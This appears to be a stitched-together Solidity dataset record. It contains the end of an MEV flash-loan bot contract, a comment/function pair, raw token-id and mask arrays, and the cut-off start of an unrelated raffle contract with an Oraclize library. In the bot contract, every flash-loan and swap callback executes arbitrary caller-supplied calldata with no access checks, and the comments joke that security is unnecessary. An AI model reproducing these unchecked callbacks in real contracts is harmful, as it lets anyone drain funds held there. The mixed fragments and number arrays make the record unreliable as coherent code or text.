uint256 internal constant FLAG_FLASH_DYDY_WETH = 0x10; uint256 internal constant FLAG_FLASH_DYDY_USDC = 0x20; uint256 internal constant FLAG_FLASH_DYDY_DAI = 0x40; uint256 internal constant FLAG_WETH_ACCOUNTING = 0x80; uint256 internal constant FLAG_USDC_ACCOUNTING = 0x100; uint256 internal constant FLAG_DAI_ACCOUNTING = 0x200; uint256 internal constant FLAG_EXIT_WETH = 0x400; uint256 internal constant FLAG_PAY_COINBASE_SHARE = 0x800; uint256 internal constant FLAG_PAY_COINBASE_AMOUNT = 0x1000; uint256 internal constant FLAG_RETURN_WETH = 0x2000; uint256 internal constant FLAG_RETURN_USDC = 0x4000; uint256 internal constant FLAG_RETURN_DAI = 0x8000; } contract ApeBot is DyDxFlashLoanHelper, IAlphaLeakConstants { string public constant name = "https://twitter.com/mevalphaleak"; fallback() external payable {} function callFunction( address, Types.AccountInfo memory, bytes calldata data ) external { // Added to support DyDx flash loans natively // Security checks aren't necessary since I'm an ape address(this).call(data); } function executeOperation( address, uint256, uint256, bytes calldata _params ) external { // Added to support AAVE v1 flash loans natively // Security checks aren't necessary since I'm an ape address(this).call(_params); } function executeOperation( address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata params ) external returns (bool) { // Added to support AAVE v2 flash loans natively // Security checks aren't necessary since I'm an ape address(this).call(params); return true; } function uniswapV2Call( address, uint, uint, bytes calldata data ) external { // Added to support uniswap v2 flash swaps natively // Security checks aren't necessary since I'm an ape address(this).call(data); } function uniswapV3FlashCallback( uint256, uint256, bytes calldata data ) external { // Added to support uniswap v3 flash loans natively // Security checks aren't necessary since I'm an ape address(this).call(data); } function uniswapV3MintCallback( uint256, uint256, bytes calldata data ) external { // Added to support uniswap v3 flash mints natively // Security checks aren't necessary since I'm an ape address(this).call(data); } function uniswapV3SwapCallback( int256, int256, bytes calldata data ) external { // Added to support uniswap v3 flash swaps natively // Security checks aren't necessary since I'm an ape address(this).call(data); } // All funds left on this contract will be imidiately lost to snipers // This function is completely permision-less and allows anyone to execute any arbitrary logic // Overall goal is to make a contract which allows to execute all types of nested flash loans function ape(uint256 actionFlags, uint256[] memory data) public payable { // FLAGS are used to simplify some common actions, they aren't necessary if ((actionFlags & (FLAG_TRANSFORM_ETH_TO_WETH_BEFORE_APE | FLAG_TRANSFORM_WETH_TO_ETH_BEFORE_APE)) > 0) { if ((actionFlags & FLAG_TRANSFORM_ETH_TO_WETH_BEFORE_APE) > 0) { uint selfbalance = address(this).balance; if (selfbalance > 1) WETH9(TOKEN_WETH).deposit{value: selfbalance - 1}(); } else { uint wethbalance = IERC20Token(TOKEN_WETH).balanceOf(address(this)); if (wethbalance > 1) WETH9(TOKEN_WETH).withdraw(wethbalance - 1); } } uint callId = 0; for (; callId < data.length;) { assembly { let callInfo := mload(add(data, mul(add(callId, 1), 0x20))) let callLength := and(div(callInfo, 0x1000000000000000000000000000000000000000000000000000000), 0xffff) let p := mload(0x40) // Find empty storage location using "free memory pointer" // Place signature at begining of empty storage, hacky logic to compute shift here let callSignDataShiftResult := mul(and(callInfo, 0xffffffff0000000000000000000000000000000000000000000000), 0x10000000000) switch callSignDataShiftResult case 0 { callLength := mul(callLength, 0x20) callSignDataShiftResult := add(data, mul(0x20, add(callId, 3))) for { let i := 0 } lt(i, callLength) { i := add(i, 0x20) } { mstore(add(p, i), mload(add(callSignDataShiftResult, i))) } } default { mstore(p, callSignDataShiftResult) callLength := add(mul(callLength, 0x20), 4) callSignDataShiftResult := add(data, sub(mul(0x20, add(callId, 3)), 4)) for { let i := 4 } lt(i, callLength) { i := add(i, 0x20) } { mstore(add(p, i), mload(add(callSignDataShiftResult, i))) } } mstore(0x40, add(p, add(callLength, 0x20))) // new free pointer position after the output values of the called function. let callContract := and(callInfo, 0xffffffffffffffffffffffffffffffffffffffff) // Re-use callSignDataShiftResult as success switch and(callInfo, 0xf000000000000000000000000000000000000000000000000000000000000000) case 0x1000000000000000000000000000000000000000000000000000000000000000 { callSignDataShiftResult := delegatecall( and(div(callInfo, 0x10000000000000000000000000000000000000000), 0xffffff), // allowed gas to use callContract, // contract to execute p, // Inputs are at location p callLength, //Inputs size p, //Store output over input 0x20) //Output is 32 bytes long } default { callSignDataShiftResult := call( and(div(callInfo, 0x10000000000000000000000000000000000000000), 0xffffff), // allowed gas to use callContract, // contract to execute mload(add(data, mul(add(callId, 2), 0x20))), // wei value amount p, // Inputs are at location p callLength, //Inputs size p, //Store output over input 0x20) //Output is 32 bytes long } callSignDataShiftResult := and(div(callInfo, 0x10000000000000000000000000000000000000000000000000000000000), 0xff) if gt(callSignDataShiftResult, 0) { // We're copying call result as input to some futher call mstore(add(data, mul(callSignDataShiftResult, 0x20)), mload(p)) } callId := add(callId, add(and(div(callInfo, 0x1000000000000000000000000000000000000000000000000000000), 0xffff), 2)) mstore(0x40, p) // Set storage pointer to empty space } } // FLAGS are used to simplify some common actions, they aren't necessary if ((actionFlags & (FLAG_TRANSFORM_ETH_TO_WETH_AFTER_APE | FLAG_TRANSFORM_WETH_TO_ETH_AFTER_APE)) > 0) { if ((actionFlags & FLAG_TRANSFORM_ETH_TO_WETH_AFTER_APE) > 0) { uint selfbalance = address(this).balance; if (selfbalance > 1) WETH9(TOKEN_WETH).deposit{value: selfbalance - 1}(); } else { uint wethbalance = IERC20Token(TOKEN_WETH).balanceOf(address(this)); if (wethbalance > 1) WETH9(TOKEN_WETH).withdraw(wethbalance - 1); } } } // Function signature 0x00000000 // Should be main entry point for any simple MEV searcher // Though you can always use 'ape' function directly with general purpose logic function wfjizxua( uint256 actionFlags, uint256[] calldata actionData ) external payable returns(int256 ethProfitDelta) { int256[4] memory balanceDeltas; balanceDeltas[0] = int256(address(this).balance); if ((actionFlags & (FLAG_WETH_ACCOUNTING | FLAG_USDC_ACCOUNTING | FLAG_DAI_ACCOUNTING)) > 0) { // In general ACCOUNTING flags should be used only during simulation and not production to avoid wasting gas on oracle calls if ((actionFlags & FLAG_WETH_ACCOUNTING) > 0) { balanceDeltas[1] = int256(IERC20Token(TOKEN_WETH).balanceOf(address(this))); } if ((actionFlags & FLAG_USDC_ACCOUNTING) > 0) { balanceDeltas[2] = int256(IERC20Token(TOKEN_USDC).balanceOf(address(this))); } if ((actionFlags & FLAG_DAI_ACCOUNTING) > 0) { balanceDeltas[3] = int256(IERC20Token(TOKEN_DAI).balanceOf(address(this))); } } if ((actionFlags & (FLAG_FLASH_DYDY_WETH | FLAG_FLASH_DYDY_USDC | FLAG_FLASH_DYDY_DAI)) > 0) { // This simple logic only supports single token flashloans // For multiple tokens or multiple providers you should use general purpose logic using 'ape' function if ((actionFlags & FLAG_FLASH_DYDY_WETH) > 0) { uint256 balanceToFlash = IERC20Token(TOKEN_WETH).balanceOf(PROXY_DYDX); this.wrapWithDyDx( TOKEN_WETH, balanceToFlash - 1, IERC20Token(TOKEN_WETH).allowance(address(this), PROXY_DYDX) < balanceToFlash, abi.encodeWithSignature('ape(uint256,uint256[])', actionFlags, actionData) ); } else if ((actionFlags & FLAG_FLASH_DYDY_USDC) > 0) { uint256 balanceToFlash = IERC20Token(TOKEN_USDC).balanceOf(PROXY_DYDX); this.wrapWithDyDx( TOKEN_USDC, balanceToFlash - 1, IERC20Token(TOKEN_USDC).allowance(address(this), PROXY_DYDX) < balanceToFlash, abi.encodeWithSignature('ape(uint256,uint256[])', actionFlags, actionData) ); } else if ((actionFlags & FLAG_FLASH_DYDY_DAI) > 0) { uint256 balanceToFlash = IERC20Token(TOKEN_DAI).balanceOf(PROXY_DYDX); this.wrapWithDyDx( TOKEN_DAI, balanceToFlash - 1, IERC20Token(TOKEN_DAI).allowance(address(this), PROXY_DYDX) < balanceToFlash, abi.encodeWithSignature('ape(uint256,uint256[])', actionFlags, actionData) ); } } else { this.ape(actionFlags, actionData); } if ((actionFlags & FLAG_EXIT_WETH) > 0) { uint wethbalance = IERC20Token(TOKEN_WETH).balanceOf(address(this)); if (wethbalance > 1) WETH9(TOKEN_WETH).withdraw(wethbalance - 1); } ethProfitDelta = int256(address(this).balance) - balanceDeltas[0]; if ((actionFlags & (FLAG_WETH_ACCOUNTING | FLAG_USDC_ACCOUNTING | FLAG_DAI_ACCOUNTING)) > 0) { if ((actionFlags & FLAG_WETH_ACCOUNTING) > 0) { ethProfitDelta += int256(IERC20Token(TOKEN_WETH).balanceOf(address(this))) - balanceDeltas[1]; } if ((actionFlags & FLAG_USDC_ACCOUNTING) > 0) { ethProfitDelta += (int256(IERC20Token(TOKEN_USDC).balanceOf(address(this))) - balanceDeltas[2]) * IChainlinkAggregator(ORACLE_USDC).latestAnswer() / (1 ether); } if ((actionFlags & FLAG_DAI_ACCOUNTING) > 0) { ethProfitDelta += (int256(IERC20Token(TOKEN_DAI).balanceOf(address(this))) - balanceDeltas[3]) * IChainlinkAggregator(ORACLE_DAI).latestAnswer() / (1 ether); } } if ((actionFlags & FLAG_PAY_COINBASE_AMOUNT) > 0) { uint selfbalance = address(this).balance; uint amountToPay = actionFlags / 0x100000000000000000000000000000000; if (selfbalance < amountToPay) { // Attempting to cover the gap via WETH token WETH9(TOKEN_WETH).withdraw(amountToPay - selfbalance); } payable(block.coinbase).transfer(amountToPay); } else if ((actionFlags & FLAG_PAY_COINBASE_SHARE) > 0) { uint selfbalance = address(this).balance; uint amountToPay = (actionFlags / 0x100000000000000000000000000000000) * uint256(ethProfitDelta) / (1 ether); if (selfbalance < amountToPay) { // Attempting to cover the gap via WETH token WETH9(TOKEN_WETH).withdraw(amountToPay - selfbalance); } payable(block.coinbase).transfer(amountToPay); } uint selfBalance = address(this).balance; if (selfBalance > 1) payable(msg.sender).transfer(selfBalance - 1); if ((actionFlags & (FLAG_RETURN_WETH | FLAG_RETURN_USDC | FLAG_RETURN_DAI)) > 0) { // Majority of simple atomic arbs should just need ETH if ((actionFlags & FLAG_RETURN_WETH) > 0) { uint tokenBalance = IERC20Token(TOKEN_WETH).balanceOf(address(this)); if (tokenBalance > 1) IERC20Token(TOKEN_WETH).transfer(msg.sender, tokenBalance - 1); } if ((actionFlags & FLAG_RETURN_USDC) > 0) { uint tokenBalance = IERC20Token(TOKEN_USDC).balanceOf(address(this)); if (tokenBalance > 1) IERC20Token(TOKEN_USDC).transfer(msg.sender, tokenBalance - 1); } if ((actionFlags & FLAG_RETURN_DAI) > 0) { uint tokenBalance = IERC20Token(TOKEN_DAI).balanceOf(address(this)); if (tokenBalance > 1) IERC20Token(TOKEN_DAI).transfer(msg.sender, tokenBalance - 1); } } } } library Types { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (externally) Sell, // sell an amount of some token (externally) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct Wei { bool sign; // true if positive uint256 value; } struct ActionArgs { ActionType actionType; uint256 accountId; AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct AccountInfo { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } } contract ISoloMargin { function operate(Types.AccountInfo[] memory accounts, Types.ActionArgs[] memory actions) public {} function getMarketTokenAddress(uint256 marketId) public view returns (address) {} } /* ERC20 Standard Token interface */ contract IERC20Token { string public name; string public symbol; function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} } contract WETH9 { function deposit() public payable {} function withdraw(uint wad) public {} } interface IChainlinkAggregator { function latestAnswer() external view returns (int256); }
Added to support uniswap v2 flash swaps natively Security checks aren't necessary since I'm an ape
function uniswapV2Call( address, uint, uint, bytes calldata data ) external { address(this).call(data); }
2,319,529
[ 1, 8602, 358, 2865, 640, 291, 91, 438, 331, 22, 9563, 1352, 6679, 10535, 4492, 6036, 4271, 11526, 1404, 4573, 3241, 467, 17784, 392, 279, 347, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 640, 291, 91, 438, 58, 22, 1477, 12, 203, 3639, 1758, 16, 203, 3639, 2254, 16, 203, 3639, 2254, 16, 203, 3639, 1731, 745, 892, 501, 203, 565, 262, 3903, 288, 203, 3639, 1758, 12, 2211, 2934, 1991, 12, 892, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x8c7d36631768c83feae33ec42a843cc2a2fa1897 //Contract name: GoldRaffle //Balance: 0.705 Ether //Verification Date: 2/6/2018 //Transacion Count: 30 // CODE STARTS HERE pragma solidity ^0.4.18; contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } library OraclizeLib { struct OraclizeData { OraclizeAddrResolverI oraclizeAddressResolver; OraclizeI oraclize; mapping(bytes32=>bytes32) oraclizeRandomDSArgs; mapping(bytes32=>bool) oraclizeRandomDsSessionKeyHashVerified; string oraclizeNetworkName; } function initializeOraclize(OraclizeData storage self) internal { self.oraclizeAddressResolver = oraclize_setNetwork(self); if (self.oraclizeAddressResolver != address(0)) { self.oraclize = OraclizeI(self.oraclizeAddressResolver.getAddress()); } } function oraclize_setNetwork(OraclizeData storage self) public returns(OraclizeAddrResolverI) { if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0) { //mainnet oraclize_setNetworkName(self, "eth_mainnet"); return OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0) { //ropsten testnet oraclize_setNetworkName(self, "eth_ropsten3"); return OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0) { //kovan testnet oraclize_setNetworkName(self, "eth_kovan"); return OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0) { //rinkeby testnet oraclize_setNetworkName(self, "eth_rinkeby"); return OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0) { //ethereum-bridge return OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0) { //ether.camp ide return OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0) { //browser-solidity return OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); } } function oraclize_setNetworkName(OraclizeData storage self, string _network_name) internal { self.oraclizeNetworkName = _network_name; } function oraclize_getNetworkName(OraclizeData storage self) internal constant returns (string) { return self.oraclizeNetworkName; } function oraclize_getPrice(OraclizeData storage self, string datasource) public returns (uint) { return self.oraclize.getPrice(datasource); } function oraclize_getPrice(OraclizeData storage self, string datasource, uint gaslimit) public returns (uint) { return self.oraclize.getPrice(datasource, gaslimit); } function oraclize_query(OraclizeData storage self, string datasource, string arg) public returns (bytes32 id) { return oraclize_query(self, 0, datasource, arg); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, string arg) public returns (bytes32 id) { uint price = self.oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) { return 0; // unexpectedly high price } return self.oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(OraclizeData storage self, string datasource, string arg, uint gaslimit) public returns (bytes32 id) { return oraclize_query(self, 0, datasource, arg, gaslimit); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, string arg, uint gaslimit) public returns (bytes32 id) { uint price = self.oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) { return 0; // unexpectedly high price } return self.oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(OraclizeData storage self, string datasource, string arg1, string arg2) public returns (bytes32 id) { return oraclize_query(self, 0, datasource, arg1, arg2); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, string arg1, string arg2) public returns (bytes32 id) { uint price = self.oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) { return 0; // unexpectedly high price } return self.oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(OraclizeData storage self, string datasource, string arg1, string arg2, uint gaslimit) public returns (bytes32 id) { return oraclize_query(self, 0, datasource, arg1, arg2, gaslimit); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) public returns (bytes32 id) { uint price = self.oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) { return 0; // unexpectedly high price } return self.oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(OraclizeData storage self, string datasource, string[] argN) internal returns (bytes32 id) { return oraclize_query(self, 0, datasource, argN); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, string[] argN) internal returns (bytes32 id) { uint price = self.oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) { return 0; // unexpectedly high price } bytes memory args = stra2cbor(argN); return self.oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(OraclizeData storage self, string datasource, string[] argN, uint gaslimit) internal returns (bytes32 id) { return oraclize_query(self, 0, datasource, argN, gaslimit); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, string[] argN, uint gaslimit) internal returns (bytes32 id){ uint price = self.oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) { return 0; // unexpectedly high price } bytes memory args = stra2cbor(argN); return self.oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(OraclizeData storage self, uint timestamp, string datasource, bytes[] argN, uint gaslimit) internal returns (bytes32 id){ uint price = self.oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) { return 0; // unexpectedly high price } bytes memory args = ba2cbor(argN); return self.oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_newRandomDSQuery(OraclizeData storage self, uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32) { assert((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(self); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[] memory args = new bytes[](3); args[0] = unonce; args[1] = nbytes; args[2] = sessionKeyHash; bytes32 queryId = oraclize_query(self, _delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(self, queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_proofVerify__main(OraclizeData storage self, bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (keccak256(keyhash) == keccak256(sha256(context_name, queryId))); if (checkok == false) { return false; } bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) { return false; } // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (self.oraclizeRandomDSArgs[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)) { delete self.oraclizeRandomDSArgs[queryId]; //unonce, nbytes and sessionKeyHash match } else { return false; } // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) { return false; } // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (self.oraclizeRandomDsSessionKeyHashVerified[sessionPubkeyHash] == false) { self.oraclizeRandomDsSessionKeyHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return self.oraclizeRandomDsSessionKeyHashVerified[sessionPubkeyHash]; } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) { return false; } // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } function oraclize_randomDS_proofVerify__returnCode(OraclizeData storage self, bytes32 _queryId, string _result, bytes _proof) internal returns (uint8) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) { return 1; } bool proofVerified = oraclize_randomDS_proofVerify__main(self, _proof, _queryId, bytes(_result), oraclize_getNetworkName(self)); if (proofVerified == false) { return 2; } return 0; } function oraclize_randomDS_setCommitment(OraclizeData storage self, bytes32 queryId, bytes32 commitment) internal { self.oraclizeRandomDSArgs[queryId] = commitment; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal pure returns (bool) { bool match_ = true; for (uint i=0; i<prefix.length; i++) { if (content[i] != prefix[i]) { match_ = false; } } return match_; } function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool) { bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) { return true; } else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function oraclize_cbAddress(OraclizeData storage self) public constant returns (address) { return self.oraclize.cbAddress(); } function oraclize_setProof(OraclizeData storage self, byte proofP) public { return self.oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(OraclizeData storage self, uint gasPrice) public { return self.oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(OraclizeData storage self, bytes32 config) public { return self.oraclize.setConfig(config); } function getCodeSize(address _addr) public constant returns(uint _size) { assembly { _size := extcodesize(_addr) } } function oraclize_randomDS_getSessionPubKeyHash(OraclizeData storage self) internal returns (bytes32){ return self.oraclize.randomDS_getSessionPubKeyHash(); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { 